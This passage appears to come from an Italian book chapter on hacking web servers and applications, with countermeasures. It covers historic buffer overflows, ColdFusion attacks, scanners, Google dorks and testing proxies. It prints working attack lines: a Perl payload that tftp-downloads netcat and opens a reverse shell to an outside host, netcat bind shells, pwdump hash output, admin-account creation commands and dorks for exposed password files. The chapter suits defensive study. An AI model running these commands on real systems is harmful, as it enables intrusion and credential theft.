Gli overflow del buffer sono, da molti anni, una spina nel fianco della sicurezza digitale. Dopo che Dr. Mudge ha trattato questo argomento in un saggio del 1995 (*How to write buffer overflows*, disponibile sul Web all'indirizzo `http://www.insecure.org/stf/mudge_buffer_overflow_tutorial.html`), il mondo della sicurezza del computer non è stato più lo stesso. L'articolo del 1996 di Aleph One, "Smashing the Stack for Fun and Profit", originariamente pubblicato sul numero 49 di *Phrack Magazine* (`http://www.phrack.com`), è un altro classico e spiega in dettaglio quanto sia semplice mandare in overflow un buffer. Un eccellente sito per riferimenti di questo genere è `http://destroy.net/machines/security/`.
Gli attacchi di tipo buffer overflow più facili da realizzare sono i cosiddetti sovraccarichi del buffer basati sullo stack, che prevedono l'inserimento di un codice arbitrario nello stack di esecuzione della CPU. Più di recente, si sono diffusi anche i cosiddetti overflow del buffer basati sull'heap, che prevedono l'iniezione del codice nell'heap e la sua esecuzione.
Il software di un server Web non è diverso da qualsiasi altro software, per cui anch'esso è potenzialmente vulnerabile rispetto agli errori comuni di programmazione che sono la causa principale degli overflow del buffer. Purtroppo, data la sua posizione di prima linea nella maggior parte delle reti, gli overflow del buffer nel software del server Web possono avere effetti realmente devastanti, consentendo all'aggressore di passare con facilità da una semplice compromissione alla periferia a una penetrazione in profondità nel cuore di un'organizzazione. Pertanto consigliamo di prestare particolare attenzione agli attacchi descritti in questo paragrafo, poiché sono quelli da evitare a ogni costo.

Vulnerabilità di PHP

Diffusione:	*5*
Semplicità:	*9*
Impatto:	*10*
Fattore di rischio:	*7*

All'interno degli script PHP sono stati trovati due (o, forse, più) punti deboli. Il primo era un tipico caso di mancata validazione dell'input (piuttosto comune a quei tempi negli script), che permetteva all'hacker di visualizzare qualsiasi file sul sistema. Per maggiori informazioni su questo problema, consultate `http://oliver.efri.hr/~crv/security/bugs/mUNIXes/httpd13.html`.

Il secondo problema, decisamente più interessante, è stato scoperto nell'aprile del 1997 dal gruppo Secure Networks Inc. e riguardava una condizione di overflow del buffer nello script php.cgi, contenuto nelle versioni fino alla 2.0beta10 del server NCSA HTTPD. Tale problema si verifica quando l'hacker passa una stringa molto lunga alla funzione `FixFilename( )`, che utilizza i parametri dello script, sovrascrivendo lo stack della macchina: in questo caso diventa possibile eseguire un codice arbitrario sul sistema locale. Per maggiori informazioni sulla vulnerabilità da overflow del buffer, vi rimandiamo al sito `http://oliver.efri.hr/~crv/security/bugs/mUNIXes/httpd14.html`.

Contromisure per PHP

Esistono sostanzialmente due modi per prevenire gli attacchi agli script PHP:

- eliminare gli script vulnerabili;
- aggiornare il sistema all'ultima versione di PHP, che risolve il problema.

Vulnerabilità di wwwcount.cgi

Diffusione:	*5*
Semplicità:	*9*
Impatto:	*10*
Fattore di rischio:	*7*

Il programma `wwwcount.cgi` è un contatore di accessi Web piuttosto diffuso. Il punto debole e il relativo exploit sono stati pubblicizzati inizialmente da plaguez nel 1997. Il problema consente all'hacker remoto di eseguire qualsiasi codice sul sistema locale (come sempre, utilizzando l'utente di HTTPD). Sono disponibili almeno due exploit dimostrativi, che fondamentalmente fanno la stessa cosa: aprono una sessione xterm verso la macchina dell'hacker.

Per maggiori informazioni su questo problema e una possibile soluzione, potete consultare due siti, rispettivamente agli indirizzi `http://oliver.efri.hr/~crv/security/bugs/mUNIXes/wwwcount.html` e `http://oliver.efri.hr/~crv/security/bugs/mUNIXes/wwwcnt2.html`.

Contromisure per wwwcount.cgi

Esistono sostanzialmente due modi per impedire lo sfruttamento dei punti deboli dello script wwwcount:

- eliminare lo script incriminato, `wwwcount.cgi`;
- eliminare i diritti di esecuzione sullo script utilizzando il comando `chmod -x wwwcount.cgi`.

Vulnerabilità IISHack per IIS 4.0

Il tristemente noto hack per Microsoft IIS 4.0 è stato reso pubblico nel giugno del 1999 e ha messo a nudo un preoccupante punto debole del server Web di Microsoft. Il problema è stato scoperto dal gruppo di esperti di sicurezza eEye, che ha pubblicato anche il codice e l'eseguibile per l'exploit. La causa del problema è la

verifica solo parziale delle dimensioni dei nomi negli URL di file .HTR, .STM e .IDC, che permette all'hacker di introdurre il codice dannoso ed eseguire comandi arbitrari sul sistema locale, agendo come utente Administrator.
Il programma di sfruttamento del punto debole, IISHack, è disponibile anche al sito `http://www.technotronic.com`. Per funzionare, l'exploit invia l'URL insieme con il nome del file contenente il trojan da eseguire:

```
C:\nt\>iishack 10.12.24.2 80 172.29.11.101/getem.exe
------(IIS 4.0 remote buffer overflow exploit)-----------------
(c) dark spyrit -- barns@eeye.com.
http://www.eEye.com

[usage: iishack <host> <port> <url>]
eg - iishack www.example.com 80 www.myserver.com/thetrojan.exe
do not include 'http://' before hosts!
---------------------------------------------------------------

Data sent!
```

Il trojan `getem.exe` è un semplicissimo programma che abbiamo realizzato noi stessi, che installa `pwdump.exe` (il programma per il download del SAM di NT), lancia una versione modificata di `netcat` in ascolto sulla porta 25 e restituisce un prompt di comando (`nc -nvv -L -p 25 -t -e cmd.exe`). Una volta completata con successo la procedura, è sufficiente eseguire il comando `netcat` per ottenere un prompt di comando, che consente di accedere al sistema utilizzando l'account SYSTEM (sostanzialmente, l'utente Administrator):

```
C:\>nc -nvv 10.11.1.1 26
(UNKNOWN) [10.11.1.1] 26 (?) open
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.

C:>pwdump
administrator:500:D3096B7CD9133319790F5B37EAB66E30:5ACA8A3A546DD587A
58A251205881082:Built-in account for administering the computer/doma
in::
Guest:501:NO PASSWORD*********************:NO PASSWORD**************
*******:Built-in account for guest access to the computer/domain::
sqldude:1000:853FD8D0FA7ECF0FAAD3B435B51404EE:EE319BA58C3E9BCB45AB13
CD7651FE14:::
SQLExecutiveCmdExec:1001:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805
F797BF2A82807973B89537:SQLExecutiveCmdExec,SQL Executive CmdExec Tas
k Account:C_:
```

A questo punto, bastano un semplice copia e incolla dalla shell di comando, e un po' di aiuto da parte di L0phtCrack, per decifrare gli hash e ottenere la password di Administrator (e quella di chiunque altro sul sistema).
Un attacco ancora più semplice, ma meno discreto, potrebbe consistere nella creazione di un nuovo utente sul sistema, con il comando `net localgroup` ***password*** `username /add`, e nella sua aggiunta al gruppo Administrators con il comando `net localgroup Administrators` ***username*** `/add`: se la porta NetBIOS (TCP 139) del server è aperta, l'hacker si può collegare per eseguire qualsiasi attività. Ovviamente, in questo caso l'hacker apporta al sistema modifiche significative, rilevabili con qualsiasi controllo di routine.

Contromisure a IIS 4.0 IISHack

Inizialmente Microsoft ha proposto un rimedio per aggirare il problema, ma successivamente ha rilasciato una patch, disponibile su `ftp://ftp.microsoft.com/bussys/IIS/iis-public/fixes/usa/ext-fix/`. Anche il gruppo eEye ha rilasciato una patch, ma si consiglia sempre di preferire gli aggiornamenti del produttore.

Buffer overflow dell'ISAPI idq.dll di Index Server

Diffusione:	*9*
Semplicità:	*9*
Impatto:	*8*
Fattore di rischio:	*9*

Solo il terzo overflow del buffer IIS, ISAPI `idq.dll`, è davvero dannoso. Questa vulnerabilità, scoperta da Riley Hassell (di eEye) e documentata il 18 giugno 2001, riguarda sia IIS 4.0 sia IIS 5.0 e consente a un hacker di eseguire arbitrariamente comandi come l'account Local System (che è molto influente sulla macchina locale). Per questo baco sono stati rilasciati solo due exploit poco stabili. Di conseguenza dovreste essere a conoscenza della vulnerabilità ed eseguire i successivi passaggi, per poter rimediare.
Il worm Codice Rosso, basato su un exploit dell'overflow del buffer `idq.dll`, ha creato nuove intestazioni in mid-2001, mettendo fuori uso sistemi Windows 2000 per diverse settimane. La prima versione del worm è stata indirizzata all'indirizzo IP della residenza esecutiva del governo degli Stati Uniti, `whitehouse.gov`, costringendola a cambiarlo per sottrarsi agli attacchi di migliaia di sistemi infettati. Le versioni successive hanno reinstallato le porte di controllo remoto e compromesso centinaia di migliaia di server, tra cui quelli delle istituzioni di alto livello quali AT&T, Microsoft e FedEx Corp.
Come tutti gli exploit dell'overflow del buffer discussi in questo capitolo, le vulnerabilità ISAPI `idq.dll` consentono a un hacker di cambiare i file sul vostro server Web, permettendogli di ottenere una shell di comando con una sessione `netcat` o altre connessioni TCP, UDP o ICMP. Questo punto debole è importante, in quanto interessa molte versioni del server Web. Per maggiori informazioni al riguardo, visitate il sito `http://www.securityfocus.com/bid/2880`.

Contromisure per l'ISAPI idq.dll di Index Server

La migliore contromisura a breve termine consiste nell'applicare le patch di Microsoft. Per Microsoft NT 4.0 (IIS 4.0), potete visitare il sito `http://www.microsoft.com/technet/security/bulletin/MS01-033.asp`.
Supponete che installare le patch che un fornitore vi ha procurato vi renda nervosi, o che vogliate testare la patch in un sistema non produttivo prima di renderla applicativa. Nello stesso tempo, potete rimuovere in maniera semplice la mappatura IDQ (dando per scontato che non la state usando nella vostra applicazione Web). Queste DLL sono state fornite per eseguire la rimappatura quando state aggiornando altri sistemi, pertanto la scelta migliore è aggiornare con una patch.
Nonostante questo problema, la migliore strategia a lungo termine per difendersi dagli attacchi di questo tipo consiste nel rimuovere le mappature di estensione per tutte le DLL che non sono ancora state usate (questa nei cinque anni passati è stata

la raccomandazione fondamentale del Microsoft Secure Internet Information Services 5.0 Checklist). Quindi, evitando di contare sull'aggiornamento costante delle patch (che possono o non possono essere emesse in tempo) vi difenderete fin dall'inizio.

Si veda Windows 2000 la sicurezza, *Apogeo, 2000, per una trattazione approfondita delle nuove incursioni di hacker e contromisure per IIS.*

Vulnerabilità dell'overflow dei campi Web

Diffusione:	*7*
Semplicità:	*8*
Impatto:	*9*
Fattore di rischio:	*8*

Tutti ci domandano se è davvero possibile causare il crash di un server Web utilizzando solo un browser Web. La risposta è "Sì". I programmatori Web mettono in genere la funzionalità davanti alla sicurezza e l'overflow ColdFusion scoperto da Foundstone illustra chiaramente questo concetto. Il problema risiede nel modo in cui Allaire/Macromedia ha scritto il componente di validazione dell'input del campo utilizzato per la password del server Administrator, che consente a un hacker di provocare il crash di un intero server Web utilizzando solo un semplice browser. Di seguito ne è spiegato il funzionamento.

1. Accedete con il browser alla pagina di autenticazione dell'amministratore di un tipico server ColdFusion.

2. Attivate la modalità di modifica del codice HTML, utilizzando l'opzione *File | Edit Page* (in Netscape).

3. Viene visualizzato il layout di pagina e i tag HTML riportati di seguito.

4. Modificate il tag ACTION (angolo superiore sinistro), facendo doppio clic su di esso e facendo precedere l'URL dal nome/indirizzo del server, come descritto qui di seguito:

```
<form Action="http://192.168.51.101/CFIDE/administrator/index.cfm"
Method="POST">
```

5. Modificate le proprietà dimensione e lunghezza massima del tag HTML che contiene la password, denominato PasswordProvided.

```
<input Name="PasswordProvided" Type="PASSWORD" Size="1000000"
MAXLENGTH="1000000">
```

6. Fate clic sul pulsante *Preview* e salvate il file nel formato HTML.
7. Il campo password dovrebbe estendersi sulla destra oltre la dimensione dello schermo: generate all'incirca 1.000.000 di caratteri e inseriteli nel campo password.

L'operazione precedente provoca il blocco del sistema, perché la percentuale di utilizzo della CPU sale al 100%. Se continuate a inviare queste richieste, la memoria sarà insufficiente per processarle. Tuttavia, la sola spedizione di più di un miliardo di caratteri al server ne provoca il crash istantaneo. In entrambi i casi, si deve riavviare il sistema per ripristinare la situazione iniziale.

8. Fate clic sul pulsante *Password*. Se tutto va bene (o male, se siete l'amministratore del sistema), sul sever target viene visualizzato il risultato seguente.

Contromisura all'overflow dei campi Web

L'unica soluzione al problema consiste nell'utilizzare una routine di validazione dell'input in ogni programma che sviluppate. Per questa vulnerabilità di Cold Fu-

sion, potete spostare la pagina Administrator in una directory alternativa (che però è solo un nascondiglio), o consultare le raccomandazioni sulla sicurezza all'indirizzo `http://www.Macromedia.com/Handlers/index.cfm?ID=10954&Method= Full`.

Altri gravi buffer overflow

Potremmo parlare ancora per molte pagine di overflow del buffer simili a quelli già visti, ma vi risparmieremo limitandoci a riassumere le caratteristiche di alcuni di quelli più gravi.
La vulnerabilità IIS HTR Chunked Encoding Transfer Heap Overflow riguarda Microsoft IIS 4.0, 5.0 e 5.1. Essa può condurre al DoS remoto o all'esecuzione di codice remoto con livello di privilegio IWAM_*NOMEMACCHINA*. Un attacco che sfrutta questa vulnerabilità è dettagliatamente spiegato all'indirizzo `http://packetstormsecurity.nl/0204-exploits/iischeck.pl`.
La vulnerabilità Apache OPENSSL SSLv2 Malformed Client Key Remote Buffer Overflow (nota anche come Slapper worm) rigurda tutte le versioni di Apache fino alla 2.0.40 e si traduce nell'esecuzione remota del codice a livello di privilegio IWAM_*NOMEMACHINA* su IIS. La descrizione di un attacco di questo tipo è disponibile agli indirizzi seguenti:

- `http://packetstormsecurity.nl/0209-exploits/apache-linux.txt`
- `http://packetstormsecurity.nl/0209-exploits/apache-ssl-bug.c`
- `http://packetstormsecurity.nl/0209-exploits/openssl-too-open.tar.gz`

Gli scanner sensibili a questa vulnerabilità sono disponibili agli indirizzi seguenti:

- `http://packetstormsecurity.nl/0209-exploits/apscan2.tgz`
- `http://packetstormsecurity.nl/0209-exploits/openssl-bsd.c`

Potete trovare un attacco per la versione Linux di questo worm all'indirizzo `http://packetstormsecurity.nl/0209-exploits/bugtraqworm.tgz`.
La vulnerabilità Chunked Encoding Memory Corruption (Apache worm) riguarda tutte le versioni di Apache fino alla 2.0.36 inclusa e si manifesta con l'esecuzione remota di codice con livello di privilegio IWAM_*NOMEMACCHINA* su IIS. La descrizione di alcuni di questi attacchi è disponibile sui siti elencati di seguito:

- `http://packetstormsecurity.nl/0206-exploits/apache-scalp.c`
- `http://packetstormsecurity.nl/0206-exploits/apachefun.tar.gz`
- `http://packetstormsecurity.org/0206-exploits/apache-nosejob.c`
- `http://packetstormsecurity.org/0206-exploits/apache-nosejob.zip`

Vulnerabilità di Cold Fusion

L0pht ha scoperto diversi punti deboli significativi all'interno di Cold Fusion Application Server di Allaire, permettendo l'esecuzione da remoto di comandi su un server Web vulnerabile. Quando viene installato, infatti, il prodotto riporta esempi di codice e documentazione in linea. Il problema risiede in alcuni di questi file di esempio, che non limitano la propria interazione al solo localhost.

Nel 2001, Macromedia ha acquistato Allaire e ora Cold Fusion Web application server è un prodotto Macromedia.

Attacco a openfile.cfm

Diffusione:	*9*
Semplicità:	*9*
Impatto:	*8*
Fattore di rischio:	*9*

Il primo difetto risiede nel file `openfile.cfm`, che permette all'hacker di caricare sul server Web qualsiasi file. `openfile.cfm` realizza l'installazione del file locale sul server Web, ma il file `displayopenedfile.cfm` visualizza in realtà il file sul browser. In seguito, `exprcalc.cfm` esegue una verifica sul file visualizzato e lo elimina (o, almeno, dovrebbe eliminarlo). Utilizzando solo `openfile.cfm`, è possibile ingannare il sistema in modo che non elimini il file ed esegua successivamente qualsiasi comando sul sistema locale. Per sfruttare questa opportunità, applicate la procedura descritta di seguito.

1. Create un file che, se utilizzato su un server Web remoto, esegua un comando locale. Noi, per esempio, preferiamo gli script Perl (quando sono disponibili), che utilizziamo per creare un file, chiamato "test.pl", in cui inseriamo le nostre righe di codice preferite.

```
system("tftp -i 192.168.51.100 GET nc.exe");
system("nc -e cmd.exe 192.168.51.100 3000");
```

Ovviamente questo si può fare solo se è presente un interprete Perl sull'Application Server Cold Fusion.

2. Fate puntare il vostro browser al seguente URL:

```
http://192.168.51.101/cfdocs/expeval/openfile.cfm
```

3. Inserite il vostro file nel campo *Open File* e fate clic su *OK*:

Dovrebbe comparire la seguente schermata:

4. Nel campo URL, sostituite il percorso *D:\INETPUB\WWWROOT\cfdocs\expeval\test.pl* con il nome e la posizione del file che elimina i file caricati: `exprcalc.cfm`. Dopo aver apportato le modifiche, l'URL diventa:

```
http://192.168.51.101/cfdocs/expeval/ExprCalc.cfm?RequestTimeout=
2000&OpenFilePath=D:\INETPUB\WWWROOT\cfdocs\expeval\exprcalc.cfm
```

5. Nella finestra viene visualizzato il contenuto del file `exprcalc.cfm` che viene eliminato dal sistema. Ora tutti i file trasferiti con `openfile.cfm` rimangono memorizzati sul sistema remoto.
6. Rispedite il file `test.pl` sul sistema remoto, effettuando le operazioni descritte in precedenza. Una volta effettuato l'upload, il file `test.pl` rimane in attesa della chiamata.
7. Eseguite il file `test.pl` richiamandolo con l'URL:

```
http://192.168.51.101/cfdocs/expeval/test.pl
```

8. Se il server TFTP e il listener sono già in esecuzione, viene visualizzato il seguente prompt "Administrator":

```
C:\>nc -l -p 3000
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.

D:\INETPUB\WWWROOT\cfdocs>
```

Contromisure per Cold Fusion

Ci sono due modi per evitare che vengano sfruttati i punti deboli di Cold Fusion:

- eliminare gli script interessati dal problema;
- installare l'aggiornamento Macromedia per il problema di `exprcalc.cfm`, reperibile su `http://www.Macromedia.com/handlers/index.cfm?ID=8727&Method=Full`.

Scanner delle vulnerabilità dei server Web

Questo bombardamento di attacchi per server Web vi ha reso alquanto sgomenti? Vi state chiedendo come potrete individuare così tanti problemi senza setacciare manualmente centinaia di server? Per fortuna, sono disponibili diversi tool di parsing automatizzato dei server Web, che consentono di individuare tutte le nuove vulnerabilità che continua a essere il bersaglio della comunità degli hacker. Questi tipi di tool, comunemente chiamati *scanner delle vulnerabilità Web*, consentono di individuare decine di vulnerabilità ben note. Gli aggressori possono impiegare il loro tempo in modo più proficuo sfruttando le vulnerabilità individuate dai tool. Sarebbe meglio dire che potete utilizzare il vostro tempo in modo più proficuo nel tamponare questi problemi quando è possibile effettuare tali scansioni!

Nikto

Nikto è uno scanner di server Web in grado di effettuare test esaustivi contro server Web alla ricerca di un certo numero di vulnerabilità note. Esso può essere scaricato all'indirizzo `http://www .cirt.net/code/nikto.shtml`. Il database delle impronte delle vulnerabilità viene aggiornato di frequente con tutti gli ultimi punti deboli scoperti recentemente.
La Tabella 15.1 elenca i vantaggi e gli svantaggi di Nikto.

Whisker 2.0

Whisker è uno scanner delle vulnerabilità Web dotato di una serie impressionante di funzionalità. Esso può essere scaricato all'indirizzo `http://prdownloads.sourceforge.net/whisker/whisker-2.0.tar.gz?download`. La Tabella 15.2 elenca i vantaggi e gli svantaggi di Whisker.

Hacking delle applicazioni Web

Con il termine "hacking delle applicazioni Web" si indicano gli attacchi alle applicazioni stesse, in contrapposizione con gli attacchi al software del server Web su cui queste applicazioni vengono eseguite. L'hacking delle applicazioni Web richiede il ricorso a molte delle tecniche utilizzate nell'hacking dei server Web, compresi gli attacchi con validazione dell'input, gli attacchi crittografici, gli attacchi a sessione ecc. La differenza principale risiede nel fatto che in questo caso l'aggressore si concentra sul codice personalizzato dell'applicazione anziché sul software del server nella configurazione di default; pertanto, questo tipo di approccio richiede una pazienza maggiore e un certa abilità. In questo paragrafo, illustreremo alcuni tool e tecniche di hacking delle applicazioni Web.

Tabella 15.1 Vantaggi e svantaggi di Nikto

Vantaggi	Svantaggi
Il database delle scansioni può essere aggiornato con un semplice comando.	Non accetta intervalli IP come input.
Il database delle scansioni è nel formato CVS. Potete aggiungervi facilmente scansioni personalizzate.	Non supporta i file dei sistemi bersaglio.
Supporto dell'SSL	Non effettua l'autenticazione NTLM.
Supporta l'autenticazione di base degli host HTTP.	Non è in grado di effettuare verifiche con i cookie.
Supporto proxy con autenticazione.	
Cattura dei cookie provenienti dal server Web.	
Supporta l'output di `nmap` come input.	
Supporta diverse tecniche di elusione dell'IDS.	

Tabella 15.2 Vantaggi e svantaggi di Wisker

Vantaggi	Svantaggi
Supporto SSL.	Non è in grado di accettare come input un file di un host di destinazione. Whisker v1.1 è dotato di questa opzione.
Supporta l'autenticazione di base degli host HTTP.	Non effettua l'autenticazione NTLM.
Supporto proxy con autenticazione.	
Dotato di un crawler incorporato.	
Potete predefinire la directory CGI impostando anziché il valore di default "/cgi-bin" un valore di vostra scelta o un insieme di percorsi CGI conosciuti.	
Prima di verificare la presenza di vulnerabilità, Whisker verificherà che la directory CGI esista e che esista il CGI, riducendo in questo modo il numero di falsi risultati positivi.	

Ricerca di applicazioni Web vulnerabili con Google

I motori di ricerca indicizzano un numero notevole di pagine Web e di altre risorse. Gli hacker possono utilizzare questi motori per sferrare attacchi anonimi, trovare facili vittime e acquisire le conoscenze necessarie per realizzare un potente attacco

contro una rete. I motori di ricerca risultano pericolosi principalmente perché gli utenti sono poco diligenti; inoltre essi possono aiutare gli hacker a evitare l'identificazione. Con i motori di ricerca, l'identificazione di bersagli ideali avviene quasi senza sforzo. Di seguito sono elencati alcuni hack comuni realizzati con `http://www.google.com` (il nostro motore preferito, ma potete utilizzare qualsiasi altro motore, purché supporti le stesse funzionalità di Google).

Per individuare le directory non protette /admin, /password, /mail e i rispettivi contenuti, inserite le parole chiave seguenti all'indirizzo `http://www.google.com`:

- "Index of /admin";
- "Index of /password";
- "Index of /mail";
- "Index of /" +banques +filetype:xls (per la Francia);
- "Index of /" +passwd;
- "Index of /" password.txt.

Per trovare applicazioni che suggeriscono password impostate non correttamente, digitate le parole seguenti all'indirizzo `http://www.google.com` (molte di queste enumerano utenti, forniscono suggerimenti per le password o recapitano password di account a un indirizzo di posta elettronica da voi specificato!):

- password hint;
- password hint –email;
- show password hint –email;
- filetype:htaccess user.

Per individuare server Web IIS/Apache con FrontPage installato, digitate le parole seguenti (se eseguite i file delle password criptate tramite un cracker delle password potrete accedere in pochi minuti!):

- administrators.pwd index;
- authors.pwd index;
- service.pwd index;
- allinurl:_vti_bin shtml.exe.

Per trovare la pagina di analisi del traffico MRTG per i siti Web, digitate invece:

- inurl:mrtg.

Per accedere a file global.asa(x) non protetti o acquisire informazioni interessanti su .NET, digitate:

- filetype:config web (finds web.config);
- global.asax index (finds global.asax or global.asa);

Per individuare server OWA (*Outlook Web Access*) configurati in modo non corretto, digitate quanto segue:

- inurl:exchange inurl:finduser inurl:root

Servitevi della vostra immaginazione: le possibilità sono infinite.

Analisi del Web

Sembra che Abramo Lincoln una volta abbia detto: "Se avessi a disposizione otto ore per abbattere un albero, ne passerei sei ad affilare l'ascia". Un aggressore ine-

sperto si prenderà tutto il tempo necessario per familiarizzare con l'applicazione. In particolare, scaricherà l'intero contenuto del sito Web che intende violare e cercherà i frutti maturi sui rami più bassi, quali le informazioni sui percorsi locali, i nomi dei server back-end e gli indirizzi IP, le stringhe di query SQL con relative password, i commenti contenenti informazioni utili e altri dati riservati, nelle posizioni seguenti:

- pagine statiche e dinamiche;
- file include e altri file di supporto;
- codice sorgente.

Strumenti di analisi del Web

Qual è il modo migliore per ottenere queste informazioni? Il recupero dei contenuti di un intero sito Web è per sua natura un'attività tediosa e ripetitiva; esso però si presta a essere automatizzato. Fortunatamente, sono disponibili diversi tool di buon livello che consentono di effettuare l'analisi del Web (*Web crawling*). Di seguito sono presentati due esempi.

wget

`wget` è un package di software gratuito che consente di recuperare file utilizzando l'HTTP, l'HTTPS e l'FTP, i due protocolli più utilizzati su Internet. Si tratta di un tool a riga di comando non interattivo, per cui può essere facilmente richiamato da script, cron job e terminali privi di XSupport. `wget` può essere scaricato all'indirizzo `http://www.gnu.org/software/wget/wget.html`. Ecco un semplice esempio del suo utilizzo:

```
C:\>wget -P chits -l 2 http://www.google.com
--20:39:46--  http://www.google.com:80/
           => `chits/index.html'
Connecting to www.google.com:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 2,532 [text/html]

    0K -> ..                                    [100%]

20:39:46 (2.41 MB/s) - `chits/index.html' saved [2532/2532]
```

Offline Explorer Pro

Offline Explorer Pro, mostrato nella Figura 15.1, è un'applicazione Win32 commerciale che consente all'aggressore di scaricare un numero illimitato di siti Web e FTP da visualizzare, modificare ed esplorare in un secondo tempo in modalità offline. Esso supporta anche i protocolli HTTPS, RTSP e MMS; inoltre supporta l'autenticazione NTLM. Offline Explorer Pro può essere scaricato all'indirizzo `http://www.metaproducts.com/mp/mpProducts_Downloads_ Current.asp`.

Valutazione delle applicazioni Web

Dopo aver esplorato e analizzato scrupolosamente il contenuto dell'applicazione bersaglio, generalmente l'aggressore passerà a un'indagine approfondita delle principali caratteristiche dell'applicazione. Lo scopo finale di questa attività è compren-

Figura 15.1

Opzioni di autenticazioni disponibili in Offline Explorer Pro. L'autenticazione NTLM è eseguita automaticamente se si utilizza la sintassi DOMAIN\username.

dere a fondo l'architettura e il progetto dell'applicazione, identificare eventuali possibili talloni di Achille e suddividere logicamente l'applicazione in qualsiasi modo possibile.

Per raggiungere questi obiettivi, ogni componente importante dell'applicazione sarà esaminato sia nell'ottica della mancata autenticazione sia in quella dell'autenticazione, se sono note le credenziali opportune (per esempio, il sito può consentire la registrazione libera di nuovi utenti, o l'aggressore ha già acquisito le credenziali esplorando il sito). Gli attacchi alle applicazioni Web sono generalmente focalizzati sulle caratteristiche seguenti:

- autenticazione;
- gestione delle sessioni;
- interazione con il database;
- validazione generica dell'input.

Nei paragrafi seguenti, vedremo come analizzare ciascuna di queste caratteristiche, spiegando anche quali sono i tool e le tecniche migliori da utilizzare.

Tool per la valutazione delle applicazioni Web

Molti dei difetti più gravi delle applicazioni Web non possono essere analizzati senza il tool opportuno. Pertanto inizieremo a enumerare i tool comunemente utilizzati per effettuare l'hacking delle applicazioni Web.

Achilles

Achilles, mostrato nella Figura 15.2, è un server proxy che si comporta come un Man-In-The-Middle nel corso di una sessione HTTP. Achilles intercetta i dati di una sessione HTTP in entrambe le direzioni e consente all'utente di modificare i dati prima della loro trasmissione; inoltre supporta le transazioni SSL (*Secure Sockets Layer*). Ecco alcune delle sue funzionalità: porte di ascolto configurabili e valori di timeout, disponibilità di un buffer aggiuntivo per effettuare attacchi basati sull'overflow del buffer, ricalcolo della lunghezza del contenuto effettuato affinché esso corrisponda ai dati modificati e altro ancora. Achilles viene eseguito su Win32. Può essere scaricato all'indirizzo `http://www.digizen-security.com/downloads.html`.

Figura 15.2

Achilles in azione, mentre intercetta richieste e risposte HTTP.

WebSleuth

WebSleuth è un tool di verifica della sicurezza delle applicazioni Web incorporato in un browser. È disponibile nelle versioni per Win32 e per Linux, all'indirizzo `http://www.cgisecurity.com/websleuth/`. WebSleuth consente tra l'altro di modificare "al volo" le richieste HTTP e HTML in tempo reale. Le funzionalità maggiormente utili di WebSleuth sono i suoi plugin, che comprendono un cracker di tipo forza bruta basato su ID sessioni HTTP/Cookie, un tester per l'SQL injection e un cracker di tipo forza bruta per HTTP. Le numerose opzioni di configurazione e la palette dei plug-in di WebSleuth sono mostrate nella Figura 15.3.

Figura 15.3
Scheda delle opzioni di WebSleuth con la palette dei plug-in attiva.

Uno dei plug-in più ingegnosi di WebSleuth è Sessions Package, scritto da David Endler. Il plug-in Sessions, mostrato nella Figura 15.4, può essere scaricato dall'URL principale di WebSleuth. Questo software è utile per effettuare l'auditing di sessioni in tre modi diversi. In primo luogo, funziona come dispositivo di cattura cookie sequenziale. In questo modo aiuta a stabilire la relativa casualità dei potenziali ID di sessione che possono essere generati in sequenza. In secondo luogo, si comporta come un cracker di tipo forza bruta per l'autenticazione di base. Questa funzionalità è utile per verificare la solidità delle password dell'applicazione. Infine, funziona come cracker di tipo forza bruta degli ID di cookie/sessioni. Questa funzione è utile per carpire con un metodo a forza bruta ID di sessione o cookie generati da un'applicazione.

SPIKE Proxy

SPIKE Proxy è un tool di valutazione delle applicazioni Web basato su Python e OpenSSL, che funziona da proxy HTTP e HTTPS. Esso consente allo sviluppatore Web o al collaudatore delle applicazioni Web di accedere a basso livello all'intera interfaccia dell'applicazione Web, mettendo al tempo stesso a disposizione una miriade di tool e tecniche automatizzate per l'individuazione di problemi comuni. I tool automatizzati comprendono SQL Injector, Web Site Crawler, Login Form Brute

Figura 15.4
Il plug-in Session di WebSleuth cattura i cookie da un sito Web e li sottopone a un attacco di tipo forza bruta.

Forcer, Automated Overflow Detection e altri ancora. SPIKE proxy è disponibile nelle versioni per Win32 e Linux e può essere scaricato all'indirizzo `http://www.immunitysec.com/spike.html`. Tenete presente che dovrete scaricare ben 13 MB se non avete già Python e OpenSSL installati sul vostro sistema. Si sono inoltre verificati problemi relativi all'esecuzione del componente OpenSSL su Windows XP, che si sono tradotti nel mancato funzionamento dell'intero programma.

WebProxy

WebProxy 1.0 è un tool di verifica della sicurezza dei browser, basato su Java2, da utilizzare nell'auditing dei siti Web. Installato come proxy per il vostro browser sulla porta 5111 per l'HTTP e sulla 5112 per l'HTTPS, WebProxy vi consente di intercettare, modificare, registrare e ripresentare richieste sia HTTP che HTTPS. Tra le funzionalità di editing è disponibile il parsing dei parametri delle query, degli header delle richieste e dei parametri POST, oltre che la modifica dei cookie. WebProxy può essere utilizzato per l'SQL injection, la modifica dei cookie, il controllo dei parametri, o semplicemente il monitoraggio delle richieste. WebProxy può essere scaricato all'indirizzo `http://www.atstake.com/research/tool/index.html` nelle versioni per Win32, Linux x86 e Solaris Sparc o per x86. La Figura 15.5 mostra la finestra dei comandi di WebProxy 1.0, in cui il proxy viene lanciato, e una finestra del browser in secondo piano in cui viene effettuata l'analisi di un sito Web. Ricordatevi di impostare il proxy del browser su HTTP:5111 e HTTPS:5112 una volta che siete riusciti a lanciare WebProxy. Dopo aver configurato il proxy, potete collegarvi a `http://webproxy` per visualizzare le impostazioni di configurazione e servirvi delle utility/plugin. Non dimenticate di ripristinare le impostazioni del proxy del vostro browser quando avete finito di utilizzare WebProxy, in modo da riprendere la navigazione normale su Internet.

Mentre scriviamo, sembra che non sia più possibile scaricare gratuitamente WebProxy 1.0. Attualmente @Stake pubblicizza Web Proxy versione 2.0 con prezzi che

Figura 15.5
Il plug-in Request Editor di WebProxy consente di modificare le richieste HTTP e HTTPS.

variano in base al tipo di licenza e al supporto tecnico fornito. Sulla base delle funzionalità che abbiamo visto nella versione 1.0, consigliamo di provare alcuni degli altri tool gratuiti descritti in questo capitolo, prima di aderire a questa offerta, o quanto meno richiedere un periodo di prova gratuito prima di passare a queste novità della versione 2.

